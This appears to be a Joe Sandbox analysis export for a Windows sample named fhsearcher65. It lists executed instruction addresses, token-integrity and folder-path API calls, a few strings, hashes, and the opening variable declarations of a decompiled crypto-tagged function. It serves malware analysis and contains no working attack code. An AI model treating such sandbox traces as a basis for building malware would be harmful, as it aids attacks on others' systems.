0x00408821
0x00408823
0x00408829
0x0040883f
0x0040883f
0x00408841
0x00408846
0x00408849
0x00408853
0x0040885d
0x00000000
0x0040882b
0x0040882b
0x0040882e
0x00408836
0x00408839
0x00000000
0x00000000
0x00000000
0x00000000
0x00408839
0x00408829
0x004087c1
0x004087c1
0x004087c7
0x004087c8
0x004087ca
0x004087d0
0x004087e6
0x004087e6
0x004087e8
0x004087ed
0x00000000
0x004087d2
0x004087d2
0x004087d5
0x004087dd
0x004087e0
0x00000000
0x00000000
0x00000000
0x00000000
0x004087e0
0x004087d0
0x0040876c
0x0040876c
0x00408772
0x00408773
0x00408775
0x0040877b
0x00408791
0x00408791
0x00408793
0x00408798
0x00000000
0x0040877d
0x0040877d
0x00408780
0x00408788
0x0040878b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040878b
0x0040877b
0x00408717
0x00408717
0x0040871d
0x0040871e
0x00408720
0x00408726
0x0040873c
0x0040873c
0x0040873e
0x00408743
0x00000000
0x00408728
0x00408728
0x0040872b
0x00408733
0x00408736
0x00000000
0x00000000
0x00000000
0x00000000
0x00408736
0x00408726
0x00408715
0x004085e9
0x004085e9
0x004085ef
0x004085f0
0x004085f2
0x004085f8
0x0040860e
0x0040860e
0x00408610
0x00408615
0x00000000
0x004085fa
0x004085fa
0x004085fd
0x00408605
0x00408608
0x00000000
0x00000000
0x00000000
0x00000000
0x00408608
0x004085f8
0x00408590
0x00408590
0x00408596
0x00408597
0x00408599
0x0040859f
0x004085b5
0x004085b5
0x004085b7
0x004085bc
0x00000000
0x004085a1
0x004085a1
0x004085a4
0x004085ac
0x004085af
0x00000000
0x00000000
0x00000000
0x00000000
0x004085af
0x0040859f
0x00408537
0x00408537
0x0040853d
0x0040853e
0x00408540
0x00408546
0x0040855c
0x0040855c
0x0040855e
0x00408563
0x00000000
0x00408548
0x00408548
0x0040854b
0x00408553
0x00408556
0x00000000
0x00000000
0x00000000
0x00000000
0x00408556
0x00408546
0x00408149
0x00408149
0x00408156
0x00408164
0x00408171
0x00408176
0x00408179
0x0040817b
0x0040817f
0x00408184
0x00408189
0x0040818c
0x004081b2
0x004081c6
0x0040818e
0x00408191
0x00408194
0x00408196
0x00408199
0x0040819b
0x0040819b
0x0040819d
0x004081a4
0x004081a4
0x004081c8
0x004081ce
0x004081d5
0x004081dc
0x004081df
0x004081e2
0x004081e7
0x004081ec
0x004081f3
0x004081fa
0x004081fd
0x00408203
0x00408206
0x00408237
0x00408237
0x0040823d
0x00408247
0x00408251
0x00408258
0x0040825b
0x0040828c
0x0040828c
0x00408292
0x0040829c
0x004082a6
0x004082ad
0x004082b0
0x004082e1
0x004082e1
0x004082e7
0x004082f1
0x004082fb
0x00408302
0x00408305
0x00408336
0x00408336
0x00408340
0x0040834a
0x00000000
0x00408307
0x00408307
0x0040830d
0x0040830e
0x00408310
0x00408316
0x0040832c
0x0040832c
0x0040832e
0x00408333
0x00000000
0x00408318
0x00408318
0x0040831b
0x00408323
0x00408326
0x00000000
0x00000000
0x00000000
0x00000000
0x00408326
0x00408316
0x004082b2
0x004082b2
0x004082b8
0x004082b9
0x004082bb
0x004082c1
0x004082d7
0x004082d7
0x004082d9
0x004082de
0x00000000
0x004082c3
0x004082c3
0x004082c6
0x004082ce
0x004082d1
0x00000000
0x00000000
0x00000000
0x00000000
0x004082d1
0x004082c1
0x0040825d
0x0040825d
0x00408263
0x00408264
0x00408266
0x0040826c
0x00408282
0x00408282
0x00408284
0x00408289
0x00000000
0x0040826e
0x0040826e
0x00408271
0x00408279
0x0040827c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040827c
0x0040826c
0x00408208
0x00408208
0x0040820e
0x0040820f
0x00408211
0x00408217
0x0040822d
0x0040822d
0x0040822f
0x00408234
0x00000000
0x00408219
0x00408219
0x0040821c
0x00408224
0x00408227
0x00000000
0x00000000
0x00000000
0x00000000
0x00408227
0x00408217
0x00408206
0x004080da
0x004080da
0x004080e0
0x004080e1
0x004080e3
0x004080e9
0x004080ff
0x004080ff
0x00408101
0x00408106
0x00000000
0x004080eb
0x004080eb
0x004080ee
0x004080f6
0x004080f9
0x00000000
0x00000000
0x00000000
0x00000000
0x004080f9
0x004080e9
0x00408081
0x00408081
0x00408087
0x00408088
0x0040808a
0x00408090
0x004080a6
0x004080a6
0x004080a8
0x004080ad
0x00000000
0x00408092
0x00408092
0x00408095
0x0040809d
0x004080a0
0x00000000
0x00000000
0x00000000
0x00000000
0x004080a0
0x00408090
0x00408028
0x00408028
0x0040802e
0x0040802f
0x00408031
0x00408037
0x0040804d
0x0040804d
0x0040804f
0x00408054
0x00000000
0x00408039
0x00408039
0x0040803c
0x00408044
0x00408047
0x00000000
0x00000000
0x00000000
0x00000000
0x00408047
0x00408037
0x00406b28
0x00406b28
0x00406b37
0x00406b3f
0x00406b6d
0x00406b6f
0x00406b72
0x00406b74
0x00406b74
0x00406b74
0x00406b77
0x00406b77
0x00406b79
0x00406b7a
0x00406b7c
0x00000000
0x00406b7e
0x00406b7e
0x00406b7e
0x00406b80
0x00406b81
0x00406b81
0x00406b41
0x00406b41
0x00406b47
0x00406b4a
0x00406b4a
0x00406b50
0x00406b50
0x00406b52
0x00406b53
0x00406b55
0x00000000
0x00406b57
0x00406b5f
0x00406b60
0x00406b60
0x00406b55
0x00406b88
0x00406b93
0x00406b98
0x00406b9c
0x00406ba1
0x00406ba9
0x00406bb2
0x00406bb7
0x00406bbe
0x00406bc8
0x00406bd6
0x00406be3
0x00406be8
0x00406bf2
0x00406bf7
0x00406c00
0x00406c31
0x00406c31
0x00406c35
0x00406c3b
0x00406c45
0x00406c4f
0x00406c59
0x00406c8a
0x00406c8a
0x00406c95
0x00406c9c
0x00406ca1
0x00406ca4
0x00406cae
0x00406cb1
0x00406cb6
0x00406cba
0x00406cbf
0x00406cc4
0x00406f15
0x00406f1c
0x00406f1e
0x00406f23
0x00406f29
0x00406f30
0x00406f35
0x00406f38
0x00406f3f
0x00406f41
0x00406f53
0x00406f5a
0x00406f5f
0x00406f6c
0x00406f71
0x00406f71
0x00406f3f
0x00406f74
0x00406f79
0x00406f7b
0x00406f7d
0x00406f86
0x00406f8d
0x00406f91
0x00406f96
0x00406f96
0x00406f9d
0x00406fa2
0x00406fac
0x00406fb6
0x00406fc0
0x00406fc7
0x00406fc7
0x00406fca
0x00406fd0
0x00406fd0
0x00406fd2
0x00406fd3
0x00406fd3
0x00406fe5
0x00406fea
0x00406fee
0x00406ff6
0x00406ffe
0x00407001
0x00407031
0x00407046
0x00407003
0x00407003
0x00407006
0x00407009
0x00407015
0x0040701c
0x00407022
0x00407022
0x0040704b
0x00407055
0x0040705f
0x00407069
0x0040706c
0x00407073
0x00407078
0x00407080
0x00407087
0x0040708e
0x00407097
0x004070a8
0x004070ad
0x004070b7
0x004070bc
0x004070c2
0x004070c5
0x004070f6
0x004070f6
0x004070fa
0x00407100
0x0040710a
0x00407114
0x0040711b
0x0040711e
0x0040714f
0x0040714f
0x00407153
0x00407159
0x00407163
0x0040716d
0x00407174
0x00407177
0x004071a8
0x004071a8
0x004071b3
0x004071ba
0x004071bf
0x004071c2
0x004071cc
0x004071cf
0x004071d4
0x004071d8
0x004071dd
0x004071e0
0x004071e2
0x004073d8
0x004073dd
0x004073e7
0x004073f1
0x004073fb
0x00407404
0x0040740b
0x00407411
0x00407418
0x0040741d
0x00407420
0x00407427
0x0040742f
0x00407437
0x00407443
0x00407454
0x0040745c
0x00407461
0x0040746e
0x00407473
0x00407473
0x00407427
0x00407476
0x0040747d
0x0040747f
0x0040747f
0x00407481
0x00407481
0x00407488
0x00407489
0x00407489
0x00407481
0x0040748e
0x00407493
0x0040749d
0x004074a7
0x004074b1
0x004074b8
0x004074b8
0x004074c0
0x004074c0
0x004074c2
0x004074c3
0x004074c3
0x004074d5
0x004074da
0x004074de
0x004074e6
0x004074ee
0x004074f1
0x00407521
0x00407536
0x004074f3
0x004074f3
0x004074f6
0x004074f9
0x00407505
0x0040750c
0x00407512
0x00407512
0x0040753b
0x00407545
0x0040754f
0x00407559
0x0040755c
0x00407563
0x00407568
0x00407570
0x00407577
0x0040757e
0x00407587
0x00407598
0x0040759d
0x004075a7
0x004075ac
0x004075b2
0x004075b5
0x004075e6
0x004075e6
0x004075ea
0x004075f0
0x004075fa
0x00407604
0x0040760b
0x0040760e
0x0040763f
0x0040763f
0x00407643
0x00407649
0x00407653
0x0040765d
0x00407664
0x00407667
0x00407698
0x00407698
0x004076a3
0x004076aa
0x004076af
0x004076b2
0x004076bc
0x004076bf
0x004076c4
0x004076c8
0x004076cd
0x004076d0
0x004076d2
0x004078c8
0x004078cd
0x004078d7
0x004078e1
0x004078e7
0x004078ee
0x004078f3
0x004078f6
0x004078fd
0x00407910
0x00407915
0x0040791b
0x00407928
0x0040792d
0x0040792d
0x004078fd
0x00407930
0x00407935
0x00407937
0x00407939
0x00407940
0x00407947
0x0040794e
0x00407955
0x0040795c
0x00407963
0x0040796a
0x0040796a
0x0040796c
0x0040796c
0x00407971
0x00407976
0x00407980
0x0040798a
0x00407994
0x0040799b
0x0040799b
0x004079a0
0x004079a0
0x004079a2
0x004079a3
0x004079a3
0x004079b5
0x004079ba
0x004079be
0x004079c6
0x004079ce
0x004079d1
0x00407a01
0x00407a16
0x004079d3
0x004079d3
0x004079d6
0x004079d9
0x004079e5
0x004079ec
0x004079f2
0x004079f2
0x00407a1b
0x00407a25
0x00407a2f
0x00407a39
0x00407a3c
0x00407a43
0x00407a48
0x00407a50
0x00407a57
0x00407a5e
0x00407a67
0x00407a78
0x00407a7d
0x00407a87
0x00407a8c
0x00407a92
0x00407a95
0x00407ac6
0x00407ac6
0x00407aca
0x00407ad0
0x00407ada
0x00407ae4
0x00407aeb
0x00407aee
0x00407b1f
0x00407b1f
0x00407b23
0x00407b29
0x00407b33
0x00407b3d
0x00407b44
0x00407b47
0x00407b78
0x00407b78
0x00407b83
0x00407b8a
0x00407b8f
0x00407b92
0x00407b9c
0x00407b9f
0x00407ba4
0x00407ba8
0x00407bad
0x00407bb0
0x00407bb2
0x00407da8
0x00407dac
0x00407db2
0x00407db5
0x00407de6
0x00407de6
0x00407dea
0x00407df0
0x00407dfa
0x00407e04
0x00407e0b
0x00407e0e
0x00408cae
0x00408cb5
0x00408cba
0x00408cc0
0x00000000
0x00407e14
0x00407e14
0x00407e1a
0x00407e1b
0x00407e1d
0x00407e23
0x00407e39
0x00407e39
0x00407e3b
0x00000000
0x00407e25
0x00407e25
0x00407e28
0x00407e30
0x00407e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00407e33
0x00407e23
0x00407db7
0x00407db7
0x00407dbd
0x00407dbe
0x00407dc0
0x00407dc6
0x00407ddc
0x00407ddc
0x00407dde
0x00407de3
0x00000000
0x00407dc8
0x00407dc8
0x00407dcb
0x00407dd3
0x00407dd6
0x00000000
0x00000000
0x00000000
0x00000000
0x00407dd6
0x00407dc6
0x00407bb8
0x00407bb8
0x00407bc5
0x00407bd3
0x00407be0
0x00407be5
0x00407be8
0x00407bea
0x00407bee
0x00407bf3
0x00407bf8
0x00407bfb
0x00407c21
0x00407c35
0x00407bfd
0x00407c00
0x00407c03
0x00407c05
0x00407c08
0x00407c0a
0x00407c0a
0x00407c0c
0x00407c13
0x00407c13
0x00407c37
0x00407c3d
0x00407c44
0x00407c4b
0x00407c4e
0x00407c51
0x00407c56
0x00407c5b
0x00407c62
0x00407c69
0x00407c6c
0x00407c72
0x00407c75
0x00407ca6
0x00407ca6
0x00407cac
0x00407cb6
0x00407cc0
0x00407cc7
0x00407cca
0x00407cfb
0x00407cfb
0x00407d01
0x00407d0b
0x00407d15
0x00407d1c
0x00407d1f
0x00407d50
0x00407d50
0x00407d56
0x00407d60
0x00407d6a
0x00407d71
0x00407d74
0x00000000
0x00407d7a
0x00407d7a
0x00407d80
0x00407d81
0x00407d83
0x00407d89
0x00000000
0x00407d8f
0x00407d8f
0x00407d92
0x00407d9a
0x00407d9d
0x00000000
0x00407da3
0x00000000
0x00407da3
0x00407d9d
0x00407d89
0x00407d21
0x00407d21
0x00407d27
0x00407d28
0x00407d2a
0x00407d30
0x00407d46
0x00407d46
0x00407d48
0x00407d4d
0x00000000
0x00407d32
0x00407d32
0x00407d35
0x00407d3d
0x00407d40
0x00000000
0x00000000
0x00000000
0x00000000
0x00407d40
0x00407d30
0x00407ccc
0x00407ccc
0x00407cd2
0x00407cd3
0x00407cd5
0x00407cdb
0x00407cf1
0x00407cf1
0x00407cf3
0x00407cf8
0x00000000
0x00407cdd
0x00407cdd
0x00407ce0
0x00407ce8
0x00407ceb
0x00000000
0x00000000
0x00000000
0x00000000
0x00407ceb
0x00407cdb
0x00407c77
0x00407c77
0x00407c7d
0x00407c7e
0x00407c80
0x00407c86
0x00407c9c
0x00407c9c
0x00407c9e
0x00407ca3
0x00000000
0x00407c88
0x00407c88
0x00407c8b
0x00407c93
0x00407c96
0x00000000
0x00000000
0x00000000
0x00000000
0x00407c96
0x00407c86
0x00407c75
0x00407b49
0x00407b49
0x00407b4f
0x00407b50
0x00407b52
0x00407b58
0x00407b6e
0x00407b6e
0x00407b70
0x00407b75
0x00000000
0x00407b5a
0x00407b5a
0x00407b5d
0x00407b65
0x00407b68
0x00000000
0x00000000
0x00000000
0x00000000
0x00407b68
0x00407b58
0x00407af0
0x00407af0
0x00407af6
0x00407af7
0x00407af9
0x00407aff
0x00407b15
0x00407b15
0x00407b17
0x00407b1c
0x00000000
0x00407b01
0x00407b01
0x00407b04
0x00407b0c
0x00407b0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00407b0f
0x00407aff
0x00407a97
0x00407a97
0x00407a9d
0x00407a9e
0x00407aa0
0x00407aa6
0x00407abc
0x00407abc
0x00407abe
0x00407ac3
0x00000000
0x00407aa8
0x00407aa8
0x00407aab
0x00407ab3
0x00407ab6
0x00000000
0x00000000
0x00000000
0x00000000
0x00407ab6
0x00407aa6
0x004076d8
0x004076d8
0x004076e5
0x004076f3
0x00407700
0x00407705
0x00407708
0x0040770a
0x0040770e
0x00407713
0x00407718
0x0040771b
0x00407741
0x00407755
0x0040771d
0x00407720
0x00407723
0x00407725
0x00407728
0x0040772a
0x0040772a
0x0040772c
0x00407733
0x00407733
0x00407757
0x0040775d
0x00407764
0x0040776b
0x0040776e
0x00407771
0x00407776
0x0040777b
0x00407782
0x00407789
0x0040778c
0x00407792
0x00407795
0x004077c6
0x004077c6
0x004077cc
0x004077d6
0x004077e0
0x004077e7
0x004077ea
0x0040781b
0x0040781b
0x00407821
0x0040782b
0x00407835
0x0040783c
0x0040783f
0x00407870
0x00407870
0x00407876
0x00407880
0x0040788a
0x00407891
0x00407894
0x00000000
0x0040789a
0x0040789a
0x004078a0
0x004078a1
0x004078a3
0x004078a9
0x00000000
0x004078af
0x004078af
0x004078b2
0x004078ba
0x004078bd
0x00000000
0x004078c3
0x00000000
0x004078c3
0x004078bd
0x004078a9
0x00407841
0x00407841
0x00407847
0x00407848
0x0040784a
0x00407850
0x00407866
0x00407866
0x00407868
0x0040786d
0x00000000
0x00407852
0x00407852
0x00407855
0x0040785d
0x00407860
0x00000000
0x00000000
0x00000000
0x00000000
0x00407860
0x00407850
0x004077ec
0x004077ec
0x004077f2
0x004077f3
0x004077f5
0x004077fb
0x00407811
0x00407811
0x00407813
0x00407818
0x00000000
0x004077fd
0x004077fd
0x00407800
0x00407808
0x0040780b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040780b
0x004077fb
0x00407797
0x00407797
0x0040779d
0x0040779e
0x004077a0
0x004077a6
0x004077bc
0x004077bc
0x004077be
0x004077c3
0x00000000
0x004077a8
0x004077a8
0x004077ab
0x004077b3
0x004077b6
0x00000000
0x00000000
0x00000000
0x00000000
0x004077b6
0x004077a6
0x00407795
0x00407669
0x00407669
0x0040766f
0x00407670
0x00407672
0x00407678
0x0040768e
0x0040768e
0x00407690
0x00407695
0x00000000
0x0040767a
0x0040767a
0x0040767d
0x00407685
0x00407688
0x00000000
0x00000000
0x00000000
0x00000000
0x00407688
0x00407678
0x00407610
0x00407610
0x00407616
0x00407617
0x00407619
0x0040761f
0x00407635
0x00407635
0x00407637
0x0040763c
0x00000000
0x00407621
0x00407621
0x00407624
0x0040762c
0x0040762f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040762f
0x0040761f
0x004075b7
0x004075b7
0x004075bd
0x004075be
0x004075c0
0x004075c6
0x004075dc
0x004075dc
0x004075de
0x004075e3
0x00000000
0x004075c8
0x004075c8
0x004075cb
0x004075d3
0x004075d6
0x00000000
0x00000000
0x00000000
0x00000000
0x004075d6
0x004075c6
0x004071e8
0x004071e8
0x004071f5
0x00407203
0x00407210
0x00407215
0x00407218
0x0040721a
0x0040721e
0x00407223
0x00407228
0x0040722b
0x00407251
0x00407265
0x0040722d
0x00407230
0x00407233
0x00407235
0x00407238
0x0040723a
0x0040723a
0x0040723c
0x00407243
0x00407243
0x00407267
0x0040726d
0x00407274
0x0040727b
0x0040727e
0x00407281
0x00407286
0x0040728b
0x00407292
0x00407299
0x0040729c
0x004072a2
0x004072a5
0x004072d6
0x004072d6
0x004072dc
0x004072e6
0x004072f0
0x004072f7
0x004072fa
0x0040732b
0x0040732b
0x00407331
0x0040733b
0x00407345
0x0040734c
0x0040734f
0x00407380
0x00407380
0x00407386
0x00407390
0x0040739a
0x004073a1
0x004073a4
0x00000000
0x004073aa
0x004073aa
0x004073b0
0x004073b1
0x004073b3
0x004073b9
0x00000000
0x004073bf
0x004073bf
0x004073c2
0x004073ca
0x004073cd
0x00000000
0x004073d3
0x00000000
0x004073d3
0x004073cd
0x004073b9
0x00407351
0x00407351
0x00407357
0x00407358
0x0040735a
0x00407360
0x00407376
0x00407376
0x00407378
0x0040737d
0x00000000
0x00407362
0x00407362
0x00407365
0x0040736d
0x00407370
0x00000000
0x00000000
0x00000000
0x00000000
0x00407370
0x00407360
0x004072fc
0x004072fc
0x00407302
0x00407303
0x00407305
0x0040730b
0x00407321
0x00407321
0x00407323
0x00407328
0x00000000
0x0040730d
0x0040730d
0x00407310
0x00407318
0x0040731b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040731b
0x0040730b
0x004072a7
0x004072a7
0x004072ad
0x004072ae
0x004072b0
0x004072b6
0x004072cc
0x004072cc
0x004072ce
0x004072d3
0x00000000
0x004072b8
0x004072b8
0x004072bb
0x004072c3
0x004072c6
0x00000000
0x00000000
0x00000000
0x00000000
0x004072c6
0x004072b6
0x004072a5
0x00407179
0x00407179
0x0040717f
0x00407180
0x00407182
0x00407188
0x0040719e
0x0040719e
0x004071a0
0x004071a5
0x00000000
0x0040718a
0x0040718a
0x0040718d
0x00407195
0x00407198
0x00000000
0x00000000
0x00000000
0x00000000
0x00407198
0x00407188
0x00407120
0x00407120
0x00407126
0x00407127
0x00407129
0x0040712f
0x00407145
0x00407145
0x00407147
0x0040714c
0x00000000
0x00407131
0x00407131
0x00407134
0x0040713c
0x0040713f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040713f
0x0040712f
0x004070c7
0x004070c7
0x004070cd
0x004070ce
0x004070d0
0x004070d6
0x004070ec
0x004070ec
0x004070ee
0x004070f3
0x00000000
0x004070d8
0x004070d8
0x004070db
0x004070e3
0x004070e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004070e6
0x004070d6
0x00406cca
0x00406cca
0x00406cd7
0x00406ce5
0x00406cf2
0x00406cf7
0x00406cfa
0x00406cfc
0x00406d00
0x00406d05
0x00406d0d
0x00406d33
0x00406d47
0x00406d0f
0x00406d12
0x00406d15
0x00406d1a
0x00406d1c
0x00406d1c
0x00406d1e
0x00406d25
0x00406d25
0x00406d49
0x00406d4f
0x00406d56
0x00406d5d
0x00406d60
0x00406d63
0x00406d68
0x00406d6d
0x00406d74
0x00406d7b
0x00406d7e
0x00406d87
0x00406db8
0x00406db8
0x00406dbe
0x00406dc8
0x00406dd2
0x00406ddc
0x00406e0d
0x00406e0d
0x00406e13
0x00406e1d
0x00406e27
0x00406e31
0x00406e62
0x00406e62
0x00406e68
0x00406e72
0x00406e7c
0x00406e86
0x00406eb7
0x00406eb7
0x00406ec1
0x00406ecb
0x00406ed2
0x00406ed2
0x00406edb
0x00408cc5
0x00408cca
0x00408cd2
0x00408cd3
0x00408ce4
0x00406ee1
0x00406ee1
0x00406ee7
0x00406ee8
0x00406ef0
0x00408869
0x00408869
0x0040886b
0x00000000
0x00406ef6
0x00406ef6
0x00406ef9
0x00406f04
0x00000000
0x00406f0a
0x00000000
0x00406f0a
0x00406f04
0x00406ef0
0x00406e88
0x00406e88
0x00406e8e
0x00406e8f
0x00406e97
0x00406ead
0x00406ead
0x00406eaf
0x00406eb4
0x00000000
0x00406e99
0x00406e99
0x00406e9c
0x00406ea7
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ea7
0x00406e97
0x00406e33
0x00406e33
0x00406e39
0x00406e3a
0x00406e42
0x00406e58
0x00406e58
0x00406e5a
0x00406e5f
0x00000000
0x00406e44
0x00406e44
0x00406e47
0x00406e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e52
0x00406e42
0x00406dde
0x00406dde
0x00406de4
0x00406de5
0x00406ded
0x00406e03
0x00406e03
0x00406e05
0x00406e0a
0x00000000
0x00406def
0x00406def
0x00406df2
0x00406dfd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406dfd
0x00406ded
0x00406d89
0x00406d89
0x00406d8f
0x00406d90
0x00406d98
0x00406dae
0x00406dae
0x00406db0
0x00406db5
0x00000000
0x00406d9a
0x00406d9a
0x00406d9d
0x00406da8
0x00000000
0x00000000
0x00000000
0x00000000
0x00406da8
0x00406d98
0x00406d87
0x00406c5b
0x00406c5b
0x00406c61
0x00406c62
0x00406c6a
0x00406c80
0x00406c80
0x00406c82
0x00406c87
0x00000000
0x00406c6c
0x00406c6c
0x00406c6f
0x00406c7a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c7a
0x00406c6a
0x00406c02
0x00406c02
0x00406c08
0x00406c09
0x00406c11
0x00406c27
0x00406c27
0x00406c29
0x00406c2e
0x00000000
0x00406c13
0x00406c13
0x00406c16
0x00406c21
0x00408ce5
0x00408ce5
0x00408cea
0x00408cea
0x00408cef
0x00408cef
0x00408cf4
0x00408cf5
0x00408cf6
0x00408cf7
0x00408cf8
0x00408cf9
0x00408cfa
0x00408cfb
0x00408cfc
0x00408cfd
0x00408cfe
0x00408cff
0x00408d00
0x00408d01
0x00408d03
0x00408d05
0x00408d10
0x00408d11
0x00408d17
0x00408d1c
0x00408d1e
0x00408d21
0x00408d22
0x00408d23
0x00408d24
0x00408d28
0x00408d2e
0x00408d35
0x00408d3a
0x00408d40
0x00408d42
0x00408d44
0x00408d50
0x00408d50
0x00408d55
0x00408d58
0x00408d5f
0x00408d66
0x00408d66
0x00408d50
0x00408d78
0x00408d7d
0x00408d99
0x00408d9b
0x00408db7
0x00408db9
0x00408dbd
0x00408dd0
0x00408ddb
0x00408de5
0x00408df0
0x00408dfd
0x00408e08
0x00408e12
0x00408e1d
0x00408e27
0x00408e36
0x00408e3d
0x00408e42
0x00408e4b
0x00408e56
0x00408e61
0x00408e6c
0x00408e77
0x00408e82
0x00408e8d
0x00408e91
0x00408e96
0x00408ea5
0x00408eaa
0x00408eac
0x00000000
0x00000000
0x00408ebd
0x00408ec2
0x00408eca
0x00408ecf
0x00408ed1
0x00408ed3
0x00408edb
0x00408ee0
0x00408ee2
0x00408ee7
0x00000000
0x00408ee7
0x00408ee2
0x00408ef8
0x00408f00
0x00408f05
0x00408f08
0x00408f17
0x00408f1c
0x00408f20
0x00408f33
0x00408f39
0x00408f3e
0x00408f48
0x00408f4d
0x00408f52
0x00408f62
0x00408f6d
0x00408f6f
0x00408f7a
0x00408f7e
0x00408f83
0x00408f85
0x00000000
0x00000000
0x00408f96
0x00408f9e
0x00408fa3
0x00408fa6
0x00000000
0x00000000
0x00408fa8
0x00408fab
0x00000000
0x00000000
0x00408fb9
0x00408fc2
0x00408fc2
0x00408fc9
0x00408fce
0x00408fd2
0x00408fd3
0x00408fec
0x00408ff2
0x00408ff7
0x00409001
0x00409006
0x0040900b
0x0040901b
0x00409028
0x00409033
0x00409037
0x0040903c
0x0040903e
0x00000000
0x00409044
0x0040904f
0x00409051
0x00409054
0x00000000
0x0040905a
0x00409068
0x00409069
0x00409071
0x00409074
0x0040907e
0x00409097
0x00409098
0x0040909d
0x004090a0
0x004090ac
0x004090bc
0x004090ca
0x004090d4
0x004090d9
0x004090dc
0x004090e2
0x004090e9
0x004090ff
0x00409105
0x00409107
0x0040910e
0x0040910e
0x00409110
0x0040912c
0x0040912e
0x00409131
0x00409137
0x0040913c
0x0040913e
0x00409140
0x00409145
0x00409145
0x00409148
0x0040914b
0x0040914d
0x00409153
0x00409153
0x00409156
0x00409159
0x00409164
0x00409167
0x00000000
0x00000000
0x00000000
0x00000000
0x0040915b
0x0040915b
0x0040915e
0x00409160
0x00409160
0x00409169
0x00409169
0x0040916b
0x00000000
0x0040916d
0x0040916d
0x00409170
0x00409194
0x00000000
0x00000000
0x00000000
0x00409170
0x0040916b
0x00000000
0x00409172
0x00409172
0x0040917d
0x00409180
0x00409181
0x00409187
0x00409189
0x00409189
0x00000000
0x00000000
0x00000000
0x004090e9
0x00409054
0x00409196
0x00409196
0x0040919b
0x0040919c
0x0040919d
0x0040919e
0x0040919f
0x004091a0
0x004091a1
0x004091a6
0x004091ad
0x004091b6
0x004091bd
0x004091c1
0x004091c8
0x004091ca
0x004091cf
0x004091d6
0x004091dd
0x004091e3
0x004091e9
0x004091f0
0x004091f8
0x004091ff
0x0040920a
0x00409214
0x0040921e
0x00409223
0x004091ff
0x0040922e
0x00409238
0x00000000
0x004090eb
0x004090eb
0x004090f1
0x004090f1
0x00000000
0x00408fad
0x00408fb2
0x00408fb2
0x00408eec
0x00408ef1
0x00408ef1
0x00000000
0x00000000
0x00000000
0x00406c21
0x00406c11
0x00406c00
0x00000000

APIs

Part of subcall function 004065E0: GetCurrentProcess.KERNEL32(00000008,?), ref: 00406603
Part of subcall function 004065E0: OpenProcessToken.ADVAPI32(00000000), ref: 0040660A
Part of subcall function 004065E0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,0000004C,?), ref: 00406623
Part of subcall function 004065E0: CloseHandle.KERNEL32(?), ref: 00406630

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,D71F2CEC,00000000,00000000), ref: 00406B37
__Init_thread_footer.LIBCMT ref: 00407ED3

Strings

\AI\, xrefs: 00408365
OCjO, xrefs: 0040836F
KC^., xrefs: 00408887
.exe, xrefs: 004068BF, 00406D2E, 0040724C, 0040773C, 00407C1C, 004081AD, 004086BC, 00408BCC

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ProcessToken$CloseCurrentFolderHandleInformationInit_thread_footerOpenPath
String ID: .exe$KC^.$OCjO$\AI\
API String ID: 3622068345-289448123
Opcode ID: 34dd84f7ba15caaaad68cde21eb4dc4accd0440095ab5c5ecc8f72e549e53c1b
Instruction ID: d1138d82219767a95123571b1593ca8d106e6bd2eb1326e99a89f2c66f366380
Opcode Fuzzy Hash: 34dd84f7ba15caaaad68cde21eb4dc4accd0440095ab5c5ecc8f72e549e53c1b
Instruction Fuzzy Hash: 9FC213709002548BEB29DB24CE457DDBB71AF56308F1082EED4487B2D2DB799BC8CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00404840 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 335
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00404840(void* __ebx, void* __ecx) {
				intOrPtr _v8;
				int _v16;
				char _v24;
				int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				long _v56;
				int _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				long _v76;
				char _v77;
				char _v78;
				char _v84;
				long _v88;
				int _v92;
				char _v93;
				signed int _v100;
				intOrPtr _v104;
				int _v108;
				long _v112;
				int _v116;
				int _v128;
				int _v132;
				int _v136;
				char _v144;
				signed int _v152;
				char _v296;
				char _v300;
				char _v304;
				char _v552;
				intOrPtr _v1580;
				int _v1588;
				int _v1592;
				long _v1596;
				int _v1600;
				int _v1616;
				struct HKL__* _v1684;
				signed int _v1688;
				int _v1692;
				int _v1728;
				intOrPtr _v1748;
				char _v1756;
				signed int _v1760;
				intOrPtr _v1772;
				intOrPtr _v1776;
				signed int _v1780;
				intOrPtr _v1816;
				intOrPtr _v1820;
				signed int _v1872;
				char _v2122;
				short _v2124;
				int* _v2140;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t208;
				signed int _t209;
				intOrPtr _t212;
				intOrPtr _t213;
				intOrPtr* _t217;
				intOrPtr _t218;
				intOrPtr _t223;
				signed char _t224;
				signed char _t225;
				void* _t227;
				intOrPtr _t228;
				signed char _t229;
				intOrPtr _t230;
				void* _t232;
				intOrPtr _t233;
				intOrPtr _t234;
				void* _t236;
				int _t239;
				signed int _t245;
				signed int _t246;
				signed int _t249;
				int _t252;
				intOrPtr* _t254;
				int _t258;
				int _t260;
				signed int _t266;
				signed int _t267;
				intOrPtr _t269;
				intOrPtr _t278;
				signed int _t284;
				short _t286;
				signed int _t291;
				signed int _t297;
				signed char _t303;
				signed char* _t304;
				void* _t309;
